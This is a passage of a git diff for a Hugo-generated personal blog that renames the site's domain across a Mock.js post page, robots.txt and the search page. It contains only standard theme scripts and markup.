+++ "b/posts/\347\256\200\345\215\225\344\275\277\347\224\250mock.js\346\250\241\346\213\237\346\225\260\346\215\256\347\224\237\346\210\220\345\231\250/index.html"
@@ -1,5 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Mock.js%e6%a8%a1%e6%8b%9f%e6%95%b0%e6%8d%ae%e7%94%9f%e6%88%90%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Mock.js%e6%a8%a1%e6%8b%9f%e6%95%b0%e6%8d%ae%e7%94%9f%e6%88%90%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/robots.txt b/robots.txt
index 012c2447..ec8d4bea 100644
--- a/robots.txt
+++ b/robots.txt
@@ -1,3 +1,3 @@
 User-agent: *
 Disallow:
-Sitemap: https://xiaochenabc123.github.io/sitemap.xml
+Sitemap: https://chenjunlinabc.github.io/sitemap.xml
diff --git a/search/index.html b/search/index.html
index 58f19fa2..15d868cb 100644
--- a/search/index.html
+++ b/search/index.html
@@ -1,5 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>搜索 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="这是一个搜索页面"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/search/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link crossorigin=anonymous rel=preload as=fetch href=../index.json><script defer crossorigin=anonymous src=/assets/js/search.4693619a4639bda022df6ac85ec0253d1f59ec7943649fd4a0fcafe8c61c46d1.js integrity="sha256-RpNhmkY5vaAi32rIXsAlPR9Z7HlDZJ/UoPyv6MYcRtE="></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="搜索"><meta property="og:description" content="这是一个搜索页面"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/search/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="搜索"><meta name=twitter:description content="这是一个搜索页面"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"搜索","item":"https://xiaochenabc123.github.io/search/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"搜索","name":"搜索","description":"这是一个搜索页面","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/search/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span class=active>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><h1>搜索 <svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></h1><div class=post-description>这是一个搜索页面</div><div class=post-meta></div></header><div id=searchbox><input id=searchInput autofocus placeholder=确定不搜索一下吗？？？ aria-label=search type=search autocomplete=off><ul id=searchResults aria-label="search results"></ul></div></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>搜索 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="这是一个搜索页面"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/search/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link crossorigin=anonymous rel=preload as=fetch href=../index.json><script defer crossorigin=anonymous src=/assets/js/search.261c90de559c199fa16400e7578de7ce42b8c992a89c3979582b78bc8e02e42d.js integrity="sha256-JhyQ3lWcGZ+hZADnV43nzkK4yZKonDl5WCt4vI4C5C0="></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="搜索"><meta property="og:description" content="这是一个搜索页面"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/search/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="搜索"><meta name=twitter:description content="这是一个搜索页面"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"搜索","item":"https://chenjunlinabc.github.io/search/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"搜索","name":"搜索","description":"这是一个搜索页面","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/search/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" 